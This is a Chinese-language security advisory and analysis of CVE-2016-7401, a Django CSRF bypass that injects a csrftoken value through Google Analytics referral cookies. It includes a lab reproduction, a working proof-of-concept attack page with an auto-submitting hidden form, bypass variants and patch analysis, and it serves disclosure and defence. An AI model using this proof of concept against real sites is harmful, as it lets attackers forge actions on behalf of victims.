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Django CSRF Bypass 漏洞分析(CVE-2016-7401)

Author: p0wd3r (知道创宇404安全实验室) Date: 2016-09-28

0x00 漏洞概述

1.漏洞简介

Django 是一个由Python写成的开源Web应用框架。在两年前有研究人员在hackerone上提交了一个利用Google Analytics来绕过Django的CSRF防护机制的漏洞( CSRF protection bypass on any Django powered site via Google Analytics ),通过该漏洞,当一个网站使用了Django作为Web框架并且设置了Django的CSRF防护机制,同时又使用了Google Analytics的时候,攻击者可以构造请求来对CSRF防护机制进行绕过。

2.漏洞影响

网站满足以下三个条件的情况下攻击者可以绕过Django的CSRF防护机制:

  • 使用Google Analytics来做数据统计
  • 使用Django作为Web框架
  • 使用基于Cookie的CSRF防护机制(Cookie中的某个值和请求中的某个值必须相等)

3.影响版本

Django 1.9.x < 1.9.10

Django 1.8.x < 1.8.15

Python2 < 2.7.9

Python3 < 3.2.7

0x01 漏洞复现

1. 环境搭建

1. pipinstalldjango==1.9.9  
2. django-adminstartprojectproject  
3. cdproject  
4. pythonmanage.pystartappapp  
5. cdapp  
6. 将 'app' 添加到 project/project/settings.py 中的 INSTALLDE_APPS 列表中  
7. 更改或添加下列文件:

project/app/views.py :

from django.shortcutsimport render  
from django.httpimport HttpResponse
 
# Create your views here.
 
def check(req):  
    if req.method == 'POST':
        return HttpResponse('CSRF check successfully!')
    else:
        return render(req, 'check.html')
 
def ga(req):  
    return render(req, 'ga.html')

project/project/urls.py :

fromdjango.conf.urlsimporturl  
fromdjango.contribimportadmin
 
fromapp.viewsimportcheck, ga
 
urlpatterns = [  
    url(r'^admin/', admin.site.urls),
    url(r'^check/', check, name='check'),
    url(r'^ga/', ga, name='ga'),
]

project/app/templates/check.html

<formaction="/check/" method="POST">  
    {% csrf_token %}
    <inputtype="submit" value="Check"></input>
</form>

project/app/templates/ga.html (放置Goolge Analytics脚本的页面):

<scripttype="text/javascript">
 
  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-XXXXX-X']);
  _gaq.push(['_trackPageview']);
 
  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();
 
</script>

8. 最后运行开启Django内置server:
# project/
pythonmanage.pyrunserver

2.漏洞分析

我们先来看这样一个场景:

Django CSRF Bypass 漏洞分析(CVE-2016-7401)

当python内置的 Cookie.SimpleCookie() 解析 a=hello]b=world 这种形式的字符串时会以 ] 作为分隔,最后取得 a=hello b=world 这两个cookie,那么为什么会这样呢?

我们看一下源码,Ubuntu下 /usr/lib/python2.7/Cookie.py 第622-663行:

defload(self, rawdata):  
    """Load cookies from a string (presumably HTTP_COOKIE) or
    from a dictionary.  Loading cookies from a dictionary 'd'
    is equivalent to calling:
        map(Cookie.__setitem__, d.keys(), d.values())
    """
    if type(rawdata) == type(""):
        self.__ParseString(rawdata)
    else:
        # self.update() wouldn't call our custom __setitem__
        for k, v in rawdata.items():
            self[k] = v
    return
# end load()
 
def__ParseString(self, str, patt=_CookiePattern):  
    i = 0            # Our starting point
    n = len(str)    # Length of string
    M = None        # current morsel
 
    while 0 <= i < n:
        # Start looking for a cookie
        match = patt.search(str, i)
        if not match: break          # No more cookies
 
        K,V = match.group("key"), match.group("val")
        i = match.end(0)
 
        ...

当传入 load 一个字符串时,调用 __ParseString ,在 __ParseString 中有这样一句: match = patt.search(str, i) ,根据之前定义的pattern来查找字符串中符合pattern的cookie, _CookiePattern 在529-545行:

_LegalCharsPatt  = r"[/w/d!#%&'~_`><@,://$/*/+/-/./^/|/)/(/?/}/{/=]"  
_CookiePattern = re.compile(  
    r"(?x)"                      # This is a Verbose pattern
    r"(?P<key>"                  # Start of group 'key'
    ""+ _LegalCharsPatt +"+?"    # Any word of at least one letter, nongreedy
    r")"                          # End of group 'key'
    r"/s*=/s*"                    # Equal Sign
    r"(?P<val>"                  # Start of group 'val'
    r'"(?:[^//"]|//.)*"'            # Any doublequoted string
    r"|"                            # or
    r"/w{3},/s[/s/w/d-]{9,11}/s[/d:]{8}/sGMT" # Special case for "expires" attr
    r"|"                            # or
    ""+ _LegalCharsPatt +"*"        # Any word or empty string
    r")"                          # End of group 'val'
    r"/s*;?"                      # Probably ending in a semi-colon
    )

在这里我们看到 ] 并没有在 _LegalCharsPatt 中,由于代码中使用的是 search 函数,所以在匹配 a=hello 后碰到 ] 会跳过这个字符然后再匹配 b=world 。因此正是因为使用 search 函数来匹配,所以当 a=hello 后面是任意一个不在 _LegalCharsPatt 中的字符(例如 [ / ] /x09 /x0b /x0c )都会达到同样的效果:

c.load('a=helloXb=world') # X为上述字符  
SetCookie: a='hello' b='world'

这个漏洞也正是整个Bypass的核心所在。

我们再来看Django(1.9.9)中对cookie的解析,在 http/cookie.py 中第91-106行:

defparse_cookie(cookie):  
    if cookie == '':
        return {}
    if not isinstance(cookie, http_cookies.BaseCookie):
        try:
            c = SimpleCookie()
            c.load(cookie)
        excepthttp_cookies.CookieError:
            # Invalid cookie
            return {}
    else:
        c = cookie
    cookiedict = {}
    for keyin c.keys():
        cookiedict[key] = c.get(key).value
    return cookiedict

根据动态调试发现这里的 SimpleCookie 也就是我们上面所说的存在漏洞的对象,从而可以确定Django中对cookie的处理也是存在漏洞的。

我们再来看看Django的CSRF防护机制,默认CSRF防护中间件是开启的,我们访问 http://127.0.0.1:8000/check/ ,点击Check然后抓包:

Django CSRF Bypass 漏洞分析(CVE-2016-7401)

可以看到 csrftoken csrfmiddlewaretoken 的值是相同的,其中 csrfmiddlewaretoken 的值如图: Django CSRF Bypass 漏洞分析(CVE-2016-7401)

也就是Django对 check.html 中的 {% csrf_token %} 所赋的值。

我们再改下包,使 csrftoken csrfmiddlewaretoken 不相等,这回服务器就会返回403:

Django CSRF Bypass 漏洞分析(CVE-2016-7401)

我们再把两个值都改成另外一个值看看:

Django CSRF Bypass 漏洞分析(CVE-2016-7401)

依然成功。

所以Django对于CSRF的防护就是判断cookie中的 csrftoken 和提交的 csrfmiddlewaretoken 的值是否相等。

那么如果想Bypass这个防护机制,就是要想办法设置受害者的cookie中的 csrftoken 值为攻击者构造的 csrdmiddlewaretoken 的值。

如何设置受害者cookie呢?Google Analytics帮了我们这个忙,它为了追踪用户,会在用户浏览时添加如下cookie:

__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]

其中 [HOST] [PATH] 是由Referer确定的,也就是说当 Referer: http://x.com/helloworld 时,cookie如下:

__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=helloworld

由于Referer是我们可以控制的,所以也就有了设置受害者cookie的可能,但是如何设置 csrftoken 的值呢?

这就用到了我们上面说的Django处理cookie的漏洞,当我们设置Referer为 http://x.com/hello]csrftoken=world ,GA设置的cookie如下:

__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=hello]csrftoken=world

当Django解析cookie时就会触发上面说的漏洞,将cookie中 csrftoken 的值赋为 world

实际操作一下,为了方便路由我们在另一个IP上再开一个DjangoApp作为中转,其中各文件如下:

urls.py :

fromdjango.conf.urlsimporturl  
fromdjango.contribimportadmin
 
fromapp.viewsimportroute
 
urlpatterns = [  
    url(r'^admin/', admin.site.urls),
    url(r'^hello', route)
]

views.py:

from django.shortcutsimport render  
from django.httpimport HttpResponse
 
# Create your views here.
 
def route(req):  
    return render(req, 'route.html')

route.html :

<script> window.location = 'http://127.0.0.1:8000/ga/'; </script>

开启中转App:

pythonmanage.pyrunserverxxx

构造一个攻击页面:

<formid="csrf" action="http://127.0.0.1:8000/check/" method="POST">  
    <inputtype="hidden" name="csrfmiddlewaretoken" value="boom">
</form>
 
<scripttype="text/javascript" charset="utf-8">  
function sleep (time) {  
      return new Promise((resolve) => setTimeout(resolve, time));
}
 
function poc() {  
    window.open('http://redirect-server/hello]csrftoken=boom');
 
    sleep(1000).then(() => {
        document.getElementById('csrf').submit();
    });
}
</script>
 
<a href='#' onclick=poc()> Clickme </a>

当我们点击 Click me ,会先打开一个窗口,再回到原窗口,就可以看到保护机制已经绕过:

Django CSRF Bypass 漏洞分析(CVE-2016-7401)

再访问一下 http://127.0.0.1:8000/check/ ,可以看到此时cookie中的 csrftoken 和form中的 csrfmiddlewaretoken 都已被设置成 boom ,证明漏洞成功触发:

Django CSRF Bypass 漏洞分析(CVE-2016-7401) Django CSRF Bypass 漏洞分析(CVE-2016-7401)

攻击流程如下:

Django CSRF Bypass 漏洞分析(CVE-2016-7401)

3.补丁分析

Python

可以看到这个漏洞在根本上是原生Python的漏洞,首先看最早在2.7.9中的patch:

Django CSRF Bypass 漏洞分析(CVE-2016-7401)

search 改成了 match 函数,所以再遇到非法符号匹配会停止。

再看该文件在2.7.10中的patch:

Django CSRF Bypass 漏洞分析(CVE-2016-7401)

这里将 [/] 设置为了合法的value中的字符,也就是

>>> C.load('__utmz=blah]csrftoken=x')
>>> C
<SimpleCookie: __utmz='blah]csrftoken=x'>

同样Python3在3.2.7和3.3.6中也做了相应patch:

Django CSRF Bypass 漏洞分析(CVE-2016-7401)

Django CSRF Bypass 漏洞分析(CVE-2016-7401)

不过尽管上面对 [/] 做了限制,但是由于pattern最后 /s* 的存在,所以在以下情况下仍然存在漏洞:

>>> importCookie
>>> C = Cookie.SimpleCookie()
>>> C.load('__utmz=blah csrftoken=x')
>>> C.load('__utmz=blah/x09csrftoken=x')
>>> C.load('__utmz=blah/x0bcsrftoken=x')
>>> C.load('__utmz=blah/x0ccsrftoken=x')
>>> C
<SimpleCookie: __utmz='blah' csrftoken='x'>

这些情况在最新的Python中并没有被修复,不过在实际情况中由于浏览器和脚本的原因,这些字符不一定会保存原样发送给Python处理,所以在利用上还要根据场景来分析。

Django

Django在1.9.10和1.8.15中做了相同的patch:

Django CSRF Bypass 漏洞分析(CVE-2016-7401)

它放弃了使用Python内置库来处理cookie,而是自己根据 ; 分割再取值,使特殊符号不再起作用。

0x02 修复方案

升级Python

升级Django

0x03 参考

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